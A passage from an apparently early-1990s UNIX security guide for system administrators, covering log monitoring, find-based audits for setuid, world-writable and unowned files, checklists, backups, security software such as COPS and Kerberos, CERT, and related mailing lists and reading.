          completes,  but only if your kernel was compiled with the SYSACCT
          option enabled (the option is enabled in  some  GENERIC  kernels,
          but is usually disabled by default).

               The acct file can be displayed using  the  lastcomm  command
          [Sun88a,  249].   With  no  arguments, all the information in the
          file is displayed.  However, by giving a command name, user name,
          or  terminal name as an argument, the output can be restricted to
          information about the given command, user, or  terminal.   Sample
          output from lastcomm is shown below.

          % lastcomm
          sh         S     root     __         0.67 secs Tue Mar 13 12:45
          atrun            root     __         0.23 secs Tue Mar 13 12:45
          lpd         F    root     __         1.06 secs Tue Mar 13 12:44
          lpr        S     burwell  tty09      1.23 secs Tue Mar 13 12:44
          troff            burwell  tty09     12.83 secs Tue Mar 13 12:44
          eqn              burwell  tty09      1.44 secs Tue Mar 13 12:44
          df               kindred  ttyq7      0.78 secs Tue Mar 13 12:44
          ls               kindred  ttyq7      0.28 secs Tue Mar 13 12:44
          cat              kindred  ttyq7      0.05 secs Tue Mar 13 12:44
          stty             kindred  ttyq7      0.05 secs Tue Mar 13 12:44
          tbl              burwell  tty09      1.08 secs Tue Mar 13 12:44
          rlogin     S     jones    ttyp3      5.66 secs Tue Mar 13 12:38
          rlogin      F    jones    ttyp3      2.53 secs Tue Mar 13 12:41
          stty             kindred  ttyq7      0.05 secs Tue Mar 13 12:44

          The first column indicates the name of  the  command.   The  next
          column displays certain flags on the command:  an ``F'' means the
          process spawned a child process, ``S'' means the process ran with
          the  set-user-id  bit  set, ``D'' means the process exited with a
          core dump, and ``X'' means the  process  was  killed  abnormally.
          The  remaining  columns  show  the  name  of the user who ran the
          program, the terminal he ran it from (if applicable), the  amount

                                         33

          of  CPU  time  used by the command (in seconds), and the date and
          time the process started.

          3.2   NETWORK SECURITY

               Monitoring network security is more difficult, because there
          are  so many ways for a cracker to attempt to break in.  However,
          there are some programs available to aid you in this task.  These
          are described in this section.

          3.2.1   The syslog Facility

               The syslog facility  [Sun88a,  1773]  is  a  mechanism  that
          enables  any command to log error messages and informational mes-
          sages to the system console, as well as to  a  log  file.   Typi-
          cally,  error  messages  are logged in the file /usr/adm/messages
          along with the date, time, name of the program sending  the  mes-
          sage, and (usually) the process id of the program.  A sample seg-
          ment of the messages file is shown below.

          Mar 12 14:53:37 sparkyfs login: ROOT LOGIN ttyp3 FROM setekfs.itstd.sr
          Mar 12 15:18:08 sparkyfs login: ROOT LOGIN ttyp3 FROM setekfs.itstd.sr
          Mar 12 16:50:25 sparkyfs login: ROOT LOGIN ttyp4 FROM pongfs.itstd.sri
          Mar 12 16:52:20 sparkyfs vmunix: sd2c:  read failed, no retries
          Mar 13 06:01:18 sparkyfs vmunix: /: file system full
          Mar 13 08:02:03 sparkyfs login: ROOT LOGIN ttyp4 FROM triceratops.itst
          Mar 13 08:28:52 sparkyfs su: davy on /dev/ttyp3
          Mar 13 08:38:03 sparkyfs login: ROOT LOGIN ttyp4 FROM triceratops.itst
          Mar 13 10:56:54 sparkyfs automount[154]: host aaifs not responding
          Mar 13 11:30:42 sparkyfs login: REPEATED LOGIN FAILURES ON ttyp3 FROM
                          intrepid.itstd.s, daemon

          Of particular interest in this sample are the messages  from  the
          login  and  su  programs.   Whenever someone logs in as ``root,''
          login logs this information.  Generally, logging in  as  ``root''
          directly,   rather   than   using   the  su  command,  should  be
          discouraged, as it is hard to  track  which  person  is  actually
          using  the  account.   Once  this  ability  has been disabled, as
          described  in  Section  2.2.2,  detecting  a  security  violation
          becomes  a simple matter of searching the messages file for lines
          of this type.

               Login also logs any case of someone repeatedly trying to log
          in  to  an account and failing.  After three attempts, login will
          refuse to let  the  person  try  anymore.   Searching  for  these
          messages  in  the  messages  file  can  alert  you  to  a cracker

                                         34

          attempting to guess someone's password.

               Finally, when someone uses the su command, either to  become
          ``root'' or someone  else, su logs the success or failure of this
          operation.  These messages can be used to check for users sharing
          their  passwords, as well as for a cracker who has penetrated one
          account and is trying to penetrate others.

          3.2.2   The showmount Command

               The showmount command [Sun88a, 1764] can be used on  an  NFS
          file server to display the names of all hosts that currently have
          something mounted from the server.  With no options, the  program
          simply  displays  a  list  of  all the hosts.  With the -a and -d
          options, the output is somewhat more useful.  The  first  option,
          -a,  causes showmount to list all the host and directory combina-
          tions.  For example,

                  bronto.itstd.sri.com:/usr/share
                  bronto.itstd.sri.com:/usr/local.new
                  bronto.itstd.sri.com:/usr/share/lib
                  bronto.itstd.sri.com:/var/spool/mail
                  cascades.itstd.sri.com:/sparky/a
                  clyde.itstd.sri.com:/laser_dumps
                  cm1.itstd.sri.com:/sparky/a
                  coco0.itstd.sri.com:/sparky/a

          There will be one line of output for each directory mounted by  a
          host.   With  the  -d  option,  showmount  displays a list of all
          directories that are presently mounted by some host.

               The output from showmount should be checked for two  things.
          First,  only  machines  local  to your organization should appear
          there.  If you have set up proper netgroups as described in  Sec-
          tion  2.2.3,  this  should not be a problem.  Second, only ``nor-
          mal'' directories should be mounted.  If you find unusual  direc-
          tories  being  mounted,  you should find out who is mounting them
          and why - although it is probably innocent, it may indicate some-
          one trying to get around your security mechanisms.

          3.3   FILE SYSTEM SECURITY

               Checking for security holes in the file  system  is  another
          important part of making your system secure.  Primarily, you need
          to check for files that can be modified  by  unauthorized  users,
          files  that  can  inadvertently grant users too many permissions,

                                         35

          and files that can inadvertently grant access to crackers.  It is
          also important to be able to detect unauthorized modifications to
          the file system, and to recover  from  these  modifications  when
          they are made.

          3.3.1   The find Command

               The find command [Sun88a, 183-185] is a general-purpose com-
          mand  for  searching  the  file system.  Using various arguments,
          complex matching patterns based on a  file's  name,  type,  mode,
          owner,  modification time, and other characteristics, can be con-
          structed.  The names of files that are found using these patterns
          can then be printed out, or given as arguments to other UNIX com-
          mands.  The general format of a find command is

                  % find directories options

          where directories is a list of directory names to  search  (e.g.,
          /usr),  and options contains the options to control what is being
          searched for.  In general, for the examples in this section,  you
          will  always want to search from the root of the file system (/),
          in order to find all files matching the patterns presented.

               This section describes how to use find to  search  for  four
          possible security problems that were described in Section 2.

          3.3.1.1   Finding Setuid and Setgid Files

               It is important to check the system often  for  unauthorized
          setuid and setgid programs.  Because these programs grant special
          privileges to the user who is executing them, it is necessary  to
          ensure that insecure programs are not installed.  Setuid ``root''
          programs should be closely guarded - a  favorite  trick  of  many
          crackers  is to break into ``root'' once, and leave a setuid pro-
          gram hidden somewhere that will enable them to regain  super-user
          powers even if the original hole is plugged.

               The command to search for setuid and setgid files is

                  # find / -type f -a \( -perm -4000 -o -perm -2000 \) -print

          The options to this command have the following meanings:

               /    The name of the directory  to  be  searched.   In  this
                    case,  we  want to search the entire file system, so we
                    specify /.  You might instead restrict  the  search  to

                                         36

                    /usr or /home.

               -type f
                    Only examine files whose type is ``f,''  regular  file.
                    Other  options  include  ``d'' for directory, ``l'' for
                    symbolic link, ``c'' for character-special devices, and
                    ``b'' for block-special devices.

               -a   This specifies ``and.''  Thus, we want  to  know  about
                    files whose type is ``regular file,'' and whose permis-
                    sions bits match the other part of this expression.

               \( -perm -4000 -o -perm -2000 \)
                    The parentheses in this part of the  command  are  used
                    for  grouping.   Thus,  everything  in this part of the
                    command matches a single pattern, and is treated as the
                    other half of the ``and'' clause described above.

                    -perm -4000
                         This specifies a match if the ``4000'' bit (speci-
                         fied as an octal number) is set in the file's per-
                         mission modes.  This is the set-user-id bit.

                    -o   This specifies ``or.''  Thus, we want to match  if
                         the  file  has  the  set-user-id  bit  or the set-
                         group-id bit set.

                    -perm -2000
                         This specifies a match if the ``2000'' bit (speci-
                         fied as an octal number) is set in the file's per-
                         mission modes.  This is the set-group-id bit.

               -printThis indicates that for  any  file  that  matches  the
                    specified  expression  (is  a  regular file and has the
                    setuid or setgid bits set in  its  permissions),  print
                    its name on the screen.

               After executing this command (depending  on  how  much  disk
          space  you have, it can take anywhere from 15 minutes to a couple
          of hours to complete), you will have a list of  files  that  have
          setuid  or setgid bits set on them.  You should then examine each
          of these programs, and determine  whether  they  should  actually
          have  these  permissions.  You should be especially suspicious of
          programs that are not in one of the directories (or  a  subdirec-
          tory) shown below.

                  /bin
                  /etc
                  /usr/bin
                  /usr/ucb
                  /usr/etc

                                         37

               One file distributed with SunOS, /usr/etc/restore,  is  dis-
          tributed  with  the  setuid  bit  set  on  it, and should not be,
          because of a security hole.  You should be  sure  to  remove  the
          setuid bit from this program by executing the command

                  # chmod u-s /usr/etc/restore

          3.3.1.2   Finding World-Writable Files

               World-writable files, particularly system files,  can  be  a
          security  hole if a cracker gains access to your system and modi-
          fies  them.    Additionally,   world-writable   directories   are
          dangerous,  since  they allow a cracker to add or delete files as
          he wishes.  The find command to find all world-writable files is

                  # find / -perm -2 -print

          In this case, we do not use the  -type  option  to  restrict  the
          search,  since  we  are  interested in directories and devices as
          well as files.  The -2 specifies the world write bit (in octal).

               This list of files will be fairly  long,  and  will  include
          some files that should be world writable.  You should not be con-
          cerned if terminal devices  in  /dev  are  world  writable.   You
          should  also  not be concerned about line printer error log files
          being world writable.  Finally, symbolic links may be world writ-
          able  -  the permissions on a symbolic link, although they exist,
          have no meaning.

          3.3.1.3   Finding Unowned Files

               Finding files that are owned by nonexistent users can  often
          be  a clue that a cracker has gained access to your system.  Even
          if this is not the case, searching for these files gives  you  an
          opportunity  to  clean  up files that should have been deleted at
          the same time the user herself was deleted.  The command to  find
          unowned files is

                  # find / -nouser -print

          The -nouser option matches files that are owned by a user id  not
          contained   in  the  /etc/passwd  database.   A  similar  option,
          -nogroup, matches files owned by nonexistent groups.  To find all
          files  owned by nonexistent users or groups, you would use the -o
          option as follows:

                                         38

                  # find / -nouser -o -nogroup -print

          3.3.1.4   Finding .rhosts Files

               As mentioned in Section 2.2.1.2, users should be  prohibited
          from having .rhosts files in their accounts.  To search for this,
          it is only necessary to search the parts of the file system  that
          contain home directories (i.e., you can skip / and /usr):

                  # find /home -name .rhosts -print

          The -name option indicates that the complete  name  of  any  file
          whose name matches .rhosts should be printed on the screen.

          3.3.2   Checklists

               Checklists can be a useful tool for discovering unauthorized
          changes  made  to  system  directories.  They aren't practical on
          file systems that contain users'  home  directories  since  these
          change  all  the time.  A checklist is a listing of all the files
          contained in a group of directories:  their sizes, owners, modif-
          ication dates, and so on.  Periodically, this information is col-
          lected and compared with the information in the master checklist.
          Files  that  do  not  match in all attributes can be suspected of
          having been changed.

               There are several utilities that implement checklists avail-
          able from public software sites (see Section 4).  However, a sim-
          ple utility can be constructed using only the  standard  UNIX  ls
          and diff commands.

               First, use the ls command [Sun88a, 285] to generate a master
          list.  This is best done immediately after installing the operat-
          ing system, but can be done at any time provided you're confident
          about the correctness of the files on the disk.  A sample command
          is shown below.

                  # ls -aslgR /bin /etc /usr > MasterChecklist

          The file MasterChecklist now contains a complete list of all  the
          files  in  these  directories.  You will probably want to edit it
          and delete the lines for files you know will  be  changing  often
          (e.g.,   /etc/utmp,  /usr/adm/acct).   The  MasterChecklist  file
          should be stored somewhere safe where a cracker  is  unlikely  to

                                         39

          find  it  (since  he could otherwise just change the data in it):
          either on a different computer system, or on magnetic tape.

               To search for changes in the file system, run the  above  ls
          command  again,  saving  the  output  in  some  other  file,  say
          CurrentList.  Now use the diff command [Sun88a, 150]  to  compare
          the two files:

                  # diff MasterChecklist CurrentList

          Lines that are only in the master checklist will be printed  pre-
          ceded  by  a  ``<,''  and lines that are only in the current list
          will be preceded by a ``>.''  If there is one line  for  a  file,
          preceded  by  a  ``<,'' this means that the file has been deleted
          since the master checklist was created.  If there is one line for
          a  file,  preceded  by a ``>,'' this means that the file has been
          created since the master checklist was created.  If there are two
          lines  for  a single file, one preceded by ``<'' and the other by
          ``>,'' this indicates that some attribute of the file has changed
          since the master checklist was created.

               By carefully  constructing  the  master  checklist,  and  by
          remembering  to update it periodically (you can replace it with a
          copy of CurrentList, once you're sure the differences between the
          lists are harmless), you can easily monitor your system for unau-
          thorized changes.  The software packages available from the  pub-
          lic  software  distribution  sites  implement  basically the same
          scheme as the one here, but offer many more options for  control-
          ling what is examined and reported.

          3.3.3   Backups

               It is impossible to overemphasize the need for a good backup
          strategy.   File  system backups not only protect you in the even
          of hardware failure or accidental deletions, but they  also  pro-
          tect  you  against  unauthorized  file  system  changes made by a
          cracker.

               A good backup strategy will dump the entire system at  level
          zero  (a  ``full''  dump)  at  least  once  a month.  Partial (or
          ``incremental'') dumps should be done at least twice a week,  and
          ideally  they  should  be  done daily.  The dump command [Sun88a,
          1612-1614] is recommended over other programs  such  as  tar  and
          cpio.   This is because only dump is capable of creating a backup
          that can be used to restore a disk to the exact state it  was  in
          when  it was dumped.  The other programs do not take into account
          files deleted or renamed between dumps, and do  not  handle  some
          specialized database files properly.

                                         40

          3.4   KNOW YOUR SYSTEM

               Aside from running large monitoring programs such  as  those
          described in the previous sections, simple everyday UNIX commands
          can also be useful for spotting security violations.  By  running
          these  commands often, whenever you have a free minute (for exam-
          ple, while waiting for someone to answer  the  phone),  you  will
          become  used  to  seeing  a specific pattern of output.  By being
          familiar with the processes normally running on your system,  the
          times different users typically log in, and so on, you can easily
          detect when something is out of the ordinary.

          3.4.1   The ps Command

               The ps command [Sun88a, 399-402]  displays  a  list  of  the
          processes  running  on your system.  Ps has numerous options, too
          many to list here.  Generally, however, for the purpose of  moni-
          toring, the option string -alxww is the most useful.*  On  a  Sun
          system  running  SunOS 4.0, you should expect to see at least the
          following:

               swapper, pagedaemon
                    System programs that help the virtual memory system.

               /sbin/init
                    The init process, which  is  responsible  for  numerous
                    tasks,  including bringing up login processes on termi-
                    nals.

               portmap, ypbind, ypserv
                    Parts of the Yellow Pages system.

               biod, nfsd, rpc.mountd, rpc.quotad, rpc.lockd
                    Parts of the Network File System (NFS).  If the  system
                    you  are  looking  at  is  not  a file server, the nfsd
                    processes probably won't exist.

               rarpd, rpc.bootparamd
                    Part of the system  that  allows  diskless  clients  to
                    boot.

               Other commands you should expect to  see  are  update  (file
          system  updater);  getty  (one  per  terminal  and  one  for  the
          _________________________
            * This  is  true  for  Berkeley-based  systems.   On  System  V
          systems, the option string -elf should be used instead.

                                         41

          console); lpd (line printer daemon); inetd (Internet daemon,  for
          starting other network servers); sh and csh (the Bourne shell and
          C shell, one or more per logged in user).  In addition, if  there
          are  users  logged in, you'll probably see invocations of various
          compilers, text editors, and word processing programs.

          3.4.2   The who and w Commands

               The who command, as mentioned previously, displays the  list
          of  users  currently  logged  in  on the system.  By running this
          periodically, you can learn at what times during the day  various
          users  log  in.   Then,  when you see someone logged in at a dif-
          ferent time, you can investigate and make sure that it's  legiti-
          mate.

               The w command [Sun88a, 588] is somewhat of a  cross  between
          who  and  ps.   Not  only does it show a list of who is presently
          logged in, but it also displays how  long  they  have  been  idle
          (gone  without  typing  anything),  and  what  command  they  are
          currently running.

          3.4.3   The ls Command

               Simple as its function is, ls is actually  very  useful  for
          detecting  file system problems.  Periodically, you should use ls
          on the  various  system  directories,  checking  for  files  that
          shouldn't be there.  Most of the time, these files will have just
          ``landed'' somewhere by accident.  However, by  keeping  a  close
          watch on things, you will be able to detect a cracker long before
          you might have otherwise.

               When using ls to check for oddities, be sure to use  the  -a
          option,  which  lists  files whose names begin with a period (.).
          Be particularly alert for files or directories named ``...'',  or
          ``..(space)'',  which  many  crackers  like  to use.  (Of course,
          remember that ``.'' and ``..'' are supposed to be there.)

          3.5   KEEP YOUR EYES OPEN

               Monitoring for security breaches is every bit  as  important
          as  preventing  them  in the first place.  Because it's virtually
          impossible to make a system totally secure, there is  always  the
          chance,  no matter how small, that a cracker will be able to gain

                                         42

          access.  Only by monitoring can this be detected and remedied.

                                         43

                                         44

                                      SECTION 4

                           SOFTWARE FOR IMPROVING SECURITY

               Because security is of great concern to many sites, a wealth
          of software has been developed for improving the security of UNIX
          systems.  Much of this software has been developed  at  universi-
          ties and other public institutions, and is available free for the
          asking.   This  section  describes  how  this  software  can   be
          obtained, and mentions some of the more important programs avail-
          able.

          4.1   OBTAINING FIXES AND NEW VERSIONS

               Several sites on the Internet maintain large repositories of
          public-domain  and  freely  distributable software, and make this
          material available for anonymous  FTP.   This  section  describes
          some of the larger repositories.

          4.1.1   Sun Fixes on UUNET

               Sun Microsystems has contracted  with  UUNET  Communications
          Services,  Inc.  to make fixes for bugs in Sun software available
          via anonymous FTP.  You can access these fixes by using  the  ftp
          command  [Sun88a,  195-201]  to  connect  to the host ftp.uu.net.
          Then change into the directory sun-fixes, and obtain a  directory
          listing, as shown in the example on the following page.

                                         45

          % ftp ftp.uu.net
          Connected to uunet.UU.NET.
          220 uunet FTP server (Version 5.93 Mar 20 11:01:52 EST 1990) ready
          Name (ftp.uu.net:davy): anonymous
          331 Guest login ok, send ident as password.
          Password:            enter your mail address [email protected] here
          230 Guest login ok, access restrictions apply.
          ftp> cd sun-fixes
          250 CWD command successful.
          ftp> dir
          200 PORT command successful.
          150 Opening ASCII mode data connection for /bin/ls.
          total 2258
          -rw-r--r--  1 38       22           4558 Aug 31  1989 README
          -rw-r--r--  1 38       22         484687 Dec 14  1988 ddn.tar.Z
          -rw-r--r--  1 38       22         140124 Jan 13  1989 gated.sun3.Z
          -rwxr-xr-x  1 38       22          22646 Dec 14  1988 in.ftpd.sun3.Z
          .....
          .....
          -rw-r--r--  1 38       22          72119 Aug 31  1989 sendmail.sun3.Z
          -rwxr-xr-x  1 38       22          99147 Aug 31  1989 sendmail.sun4.Z
          -rw-r--r--  1 38       22           3673 Jul 11  1989 wall.sun3.Z
          -rw-r--r--  1 38       22           4099 Jul 11  1989 wall.sun4.Z
          -rwxr-xr-x  1 38       22           7955 Jan 18  1989 ypbind.sun3.Z
          -rwxr-xr-x  1 38       22           9237 Jan 18  1989 ypbind.sun4.Z
          226 Transfer complete.
          1694 bytes received in 0.39 seconds (4.2 Kbytes/s)
          ftp> quit
          221 Goodbye.
          %

          The file README contains a brief description of what each file in
          this directory contains, and what is required to install the fix.

          4.1.2   Berkeley Fixes

               The University of California at Berkeley  also  makes  fixes
          available via anonymous FTP; these fixes pertain primarily to the
          current release of BSD UNIX (currently  release  4.3).   However,
          even if you are not running their software, these fixes are still
          important, since many vendors (Sun, DEC,  Sequent  ,  etc.)  base
          their software on the Berkeley releases.

               The Berkeley fixes are available for anonymous FTP from  the
          host  ucbarpa.berkeley.edu  in  the directory 4.3/ucb-fixes.  The
          file INDEX in this directory describes what each file contains.

               Berkeley also distributes new versions of sendmail and named
          [Sun88a,  1758-1760,  1691-1692] from this machine.  New versions

                                         46

          of these commands are stored in the 4.3 directory, usually in the
          files sendmail.tar.Z and bind.tar.Z, respectively.

          4.1.3   Simtel-20 and UUNET

               The two largest general-purpose software repositories on the
          Internet are the hosts wsmr-simtel20.army.mil and ftp.uu.net.

               wsmr-simtel20.army.mil is a TOPS-20 machine operated by  the
          U.  S. Army at White Sands Missile Range, New Mexico.  The direc-
          tory pd2:<unix-c> contains a large amount of UNIX software,  pri-
          marily  taken  from  the  comp.sources newsgroups.  The file 000-
          master-index.txt contains a master list and description  of  each
          piece  of  software  available  in the repository.  The file 000-
          intro-unix-sw.txt contains information on the mailing  list  used
          to  announce  new software, and describes the procedures used for
          transferring files from the archive with FTP.

               ftp.uu.net is operated  by  UUNET  Communications  Services,
          Inc.  in Falls Church, Virginia.  This company sells Internet and
          USENET access to sites all over  the  country  (and  internation-
          ally).   The software posted to the following USENET source news-
          groups is stored here, in directories of the same name:

                  comp.sources.games
                  comp.sources.misc
                  comp.sources.sun
                  comp.sources.unix
                  comp.sources.x

          Numerous other distributions, such as all the  freely  distribut-
          able  Berkeley  UNIX  source  code, Internet Request for Comments
          (RFCs), and so on are also stored on this machine.

          4.1.4   Vendors

               Many vendors make fixes for bugs in their software available
          electronically,  either  via  mailing lists or via anonymous FTP.
          You should contact your vendor to find out  if  they  offer  this
          service,  and  if  so, how to access it.  Some vendors that offer
          these services include  Sun  Microsystems  (see  above),  Digital
          Equipment  Corp.,  the  University of California at Berkeley (see
          above), and Apple Computer.

                                         47

          4.2   THE NPASSWD COMMAND

               The npasswd  command,  developed  by  Clyde  Hoover  at  the
          University  of  Texas  at Austin, is intended to be a replacement
          for the standard UNIX passwd command [Sun88a, 379],  as  well  as
          the  Sun yppasswd command [Sun88a, 611].  npasswd makes passwords
          more secure by refusing to allow users to select  insecure  pass-
          words.  The following capabilities are provided by npasswd:

               +    Configurable minimum password length

               +    Configurable to force users to use mixed case or digits
                    and punctuation

               +    Checking for ``simple'' passwords such  as  a  repeated
                    letter

               +    Checking against the host name and other  host-specific
                    information

               +    Checking against the login name, first and last  names,
                    and so on

               +    Checking for words in various  dictionaries,  including
                    the system dictionary.

               The npasswd distribution is available for anonymous FTP from
          emx.utexas.edu in the directory pub/npasswd.

          4.3   THE COPS PACKAGE

               COPS is a  security  tool  for  system  administrators  that
          checks  for  numerous  common  security problems on UNIX systems,
          including many of the things described in this document.  COPS is
          a  collection  of shell scripts and C programs that can easily be
          run on almost any UNIX variant.  Among other  things,  it  checks
          the  following items and sends the results to the system adminis-
          trator:

               +    Checks  /dev/kmem   and   other   devices   for   world
                    read/writability.

               +    Checks  special/important  files  and  directories  for
                    ``bad'' modes (world writable, etc.).

               +    Checks for easily guessed passwords.

                                         48

               +    Checks for duplicate user ids, invalid  fields  in  the
                    password file, etc.

               +    Checks for duplicate group ids, invalid fields  in  the
                    group file, etc.

               +    Checks all users' home directories  and  their  .cshrc,
                    .login,  .profile, and .rhosts files for security prob-
                    lems.

               +    Checks all  commands  in  the  /etc/rc  files  [Sun88a,
                    1724-1725] and cron files [Sun88a, 1606-1607] for world
                    writability.

               +    Checks for bad ``root'' paths, NFS file system exported
                    to the world, etc.

               +    Includes an expert system that checks to see if a given
                    user  (usually ``root'') can be compromised, given that
                    certain rules are true.

               +    Checks for changes in the setuid status of programs  on
                    the system.

               The COPS package is  available  from  the  comp.sources.unix
          archive  on  ftp.uu.net,  and  also  from the repository on wsmr-
          simtel20.army.mil.

          4.4   SUN C2 SECURITY FEATURES

               With the release of SunOS 4.0,  Sun  has  included  security
          features  that  allow  the system to operate at a higher level of
          security, patterned after the C2* classification.  These features
          can be installed as one of the options when installing the system
          from the distribution tapes.  The security features added by this
          option include

               +    Audit trails that record all login  and  logout  times,
                    the  execution of administrative commands, and the exe-
                    cution of privileged (setuid) operations.

               +    A more secure password file mechanism  (``shadow  pass-
                    word  file'')  that  prevents crackers from obtaining a
                    list of the encrypted passwords.
          _________________________
            * C2 is one of several security classifications defined by  the
          National  Computer Security Center, and is described in [NCSC85],
          the ``orange book.''

                                         49

               +    DES encryption capability.

               +    A (more) secure NFS implementation that uses public-key
                    encryption  to authenticate the users of the system and
                    the hosts on the network, to be sure  they  really  are
                    who they claim to be.

          These security features are described in detail in [Sun88c].

          4.5   KERBEROS

               Kerberos [Stei88] is an authentication system  developed  by
          the  Athena Project at the Massachusetts Institute of Technology.
          Kerberos  is  a  third-party  authentication  service,  which  is
          trusted by other network services.  When a user logs in, Kerberos
          authenticates that user (using a password), and provides the user
          with a way to prove her identity to other servers and hosts scat-
          tered around the network.

               This authentication is then used by programs such as  rlogin
          [Sun88a,  418-419]  to  allow  the  user to log in to other hosts
          without a password (in place of the .rhosts file).  The authenti-
          cation is also used by the mail system in order to guarantee that
          mail is delivered to the correct person, as well as to  guarantee
          that  the sender is who he claims to be.  NFS has also been modi-
          fied by M.I.T. to work with Kerberos, thereby making  the  system
          much more secure.

               The overall effect of installing Kerberos and  the  numerous
          other  programs  that  go  with  it is to virtually eliminate the
          ability of users to ``spoof'' the system into believing they  are
          someone   else.    Unfortunately,  installing  Kerberos  is  very
          intrusive, requiring the modification or replacement of  numerous
          standard  programs.  For this reason, a source license is usually
          necessary.  There are plans to make Kerberos a part of 4.4BSD, to
          be  released by the University of California at Berkeley sometime
          in 1990.

                                         50

                                      SECTION 5

                             KEEPING ABREAST OF THE BUGS

               One of the hardest things about keeping a system  secure  is
          finding  out  about the security holes before a cracker does.  To
          combat this, there are several sources of information you can and
          should make use of on a regular basis.

          5.1   THE COMPUTER EMERGENCY RESPONSE TEAM

               The Computer Emergency Response Team (CERT) was  established
          in December 1988 by the Defense Advanced Research Projects Agency
          to address computer security concerns of research  users  of  the
          Internet.   It  is operated by the Software Engineering Institute
          at Carnegie-Mellon University.  The CERT serves as a focal  point
          for  the  reporting of security violations, and the dissemination
          of security advisories to the Internet community.   In  addition,
          the  team works with vendors of various systems in order to coor-
          dinate the fixes for security problems.

               The CERT sends out security advisories to the  cert-advisory
          mailing  list  whenever appropriate.  They also operate a 24-hour
          hotline that can be called to  report  security  problems  (e.g.,
          someone  breaking into your system), as well as to obtain current
          (and accurate) information about rumored security problems.

               To join the cert-advisory mailing list, send  a  message  to
          cert@cert.sei.cmu.edu  and  ask  to be added to the mailing list.
          Past advisories are available for anonymous  FTP  from  the  host
          cert.sei.cmu.edu.  The 24-hour hotline number is (412) 268-7090.

          5.2   DDN MANAGEMENT BULLETINS

               The DDN Management Bulletin is distributed electronically by
          the  Defense  Data Network (DDN) Network Information Center under
          contract to the Defense Communications Agency.  It is a means  of
          communicating  official policy, procedures, and other information
          of concern to management personnel at DDN facilities.

               The DDN Security Bulletin is distributed  electronically  by
          the  DDN  SCC (Security Coordination Center), also under contract
          to DCA, as a means of communicating information  on  network  and

                                         51

          host  security  exposures,  fixes,  and  concerns to security and
          management personnel at DDN facilities.

               Anyone may join the mailing lists for these two bulletins by
          sending  a  message to nic@nic.ddn.mil and asking to be placed on
          the mailing lists.

          5.3   SECURITY-RELATED MAILING LISTS

               There are several other mailing lists operated on the Inter-
          net  that  pertain  directly  or  indirectly  to various security
          issues.  Some of the more useful ones are described below.

          5.3.1   Security

               The UNIX Security  mailing  list  exists  to  notify  system
          administrators  of  security  problems  before they become common
          knowledge, and to provide security enhancement  information.   It
          is a restricted-access list, open only to people who can be veri-
          fied as being principal systems people at a  site.   Requests  to
          join  the  list must be sent by either the site contact listed in
          the Network Information Center's  WHOIS  database,  or  from  the
          ``root''  account  on  one  of the major site machines.  You must
          include the destination address you want on the list, an  indica-
          tion  of  whether  you  want  to be on the mail reflector list or
          receive weekly digests, the electronic  mail  address  and  voice
          telephone  number  of  the  site contact if it isn't you, and the
          name, address, and telephone number of your  organization.   This
          information should be sent to security-request@cpd.com.

          5.3.2   RISKS

               The RISKS digest is a component of the ACM Committee on Com-
          puters and Public Policy, moderated by Peter G. Neumann.  It is a
          discussion forum on risks to the public in computers and  related
          systems,  and along with discussing computer security and privacy
          issues, has discussed such subjects as the  Stark  incident,  the
          shooting  down of the Iranian airliner in the Persian Gulf (as it
          relates to the computerized weapons systems), problems in air and
          railroad  traffic  control  systems, software engineering, and so
          on.   To  join  the  mailing  list,  send  a  message  to  risks-
          request@csl.sri.com.   This  list is also available in the USENET
          newsgroup comp.risks.

                                         52

          5.3.3   TCP-IP

               The TCP-IP list is intended to act as a discussion forum for
          developers  and maintainers of implementations of the TCP/IP pro-
          tocol suite.  It also discusses network-related security problems
          when  they  involve  programs providing network services, such as
          sendmail.  To join the TCP-IP list, send  a  message  to  tcp-ip-
          request@nic.ddn.mil.   This  list is also available in the USENET
          newsgroup comp.protocols.tcp-ip.

          5.3.4   SUN-SPOTS, SUN-NETS, SUN-MANAGERS

               The SUN-SPOTS, SUN-NETS, and SUN-MANAGERS lists are all dis-
          cussion  groups  for users and administrators of systems supplied
          by Sun Microsystems.  SUN-SPOTS is a fairly  general  list,  dis-
          cussing  everything  from  hardware configurations to simple UNIX
          questions.   To  subscribe,  send   a   message   to   sun-spots-
          request@rice.edu.   This  list  is  also  available in the USENET
          newsgroup comp.sys.sun.

               SUN-NETS is a discussion list for items pertaining  to  net-
          working  on  Sun  systems.   Much of the discussion is related to
          NFS, Yellow Pages, and name servers.  To subscribe, send  a  mes-
          sage to sun-nets-request@umiacs.umd.edu.

               SUN-MANAGERS is a discussion list for Sun system administra-
          tors  and  covers  all  aspects of Sun system administration.  To
          subscribe, send a message to sun-managers-request@eecs.nwu.edu.

          5.3.5   VIRUS-L

               The VIRUS-L list is a forum for the discussion  of  computer
          virus  experiences, protection software, and related topics.  The
          list is open to the public, and is implemented as a mail  reflec-
          tor,  not  a  digest.  Most of the information is related to per-
          sonal computers, although some of it may be applicable to  larger
          systems.  To subscribe, send the line

                  SUB VIRUS-L your full name

          to the address listserv%lehiibm1.bitnet@mitvma.mit.edu.

                                         53

                                         54

                                      SECTION 6

                                  SUGGESTED READING

               This section suggests some alternate sources of  information
          pertaining to the security and administration of the UNIX operat-
          ing system.

          UNIX System Administration Handbook
          Evi Nemeth, Garth Snyder, Scott Seebass
          Prentice Hall, 1989, $26.95

               This is perhaps the best general-purpose book on UNIX system
               administration  currently on the market.  It covers Berkeley
               UNIX, SunOS, and System V.  The 26 chapters  and  17  appen-
               dices  cover numerous topics, including booting and shutting
               down the system, the file system,  configuring  the  kernel,
               adding  a  disk,  the line printer spooling system, Berkeley
               networking, sendmail, and uucp.  Of particular interest  are
               the  chapters  on  running  as  the super-user, backups, and
               security.

          UNIX Operating System Security
          F. T. Grammp and R. H. Morris
          AT&T Bell Laboratories Technical Journal
          October 1984

               This is an excellent discussion of some of the  more  common
               security  problems in UNIX and how to avoid them, written by
               two of Bell Labs' most prominent security experts.

          Password Security: A Case History
          Robert Morris and Ken Thompson
          Communications of the ACM
          November 1979

               An excellent discussion on the problem of password security,
               and  some interesting information on how easy it is to crack
               passwords and why.  This document is  usually  reprinted  in
               most vendors' UNIX documentation.

          On the Security of UNIX
          Dennis M. Ritchie
          May 1975

               A discussion on UNIX security from one of the original crea-
               tors  of  the system.  This document is usually reprinted in
               most vendors' UNIX documentation.
          The Cuckoo's Egg

                                         55

          Clifford Stoll
          Doubleday, 1989, $19.95

               An excellent story of Stoll's experiences tracking down  the
               German  crackers who were breaking into his systems and sel-
               ling the data they found to the KGB.   Written  at  a  level
               that nontechnical users can easily understand.

          System and Network Administration
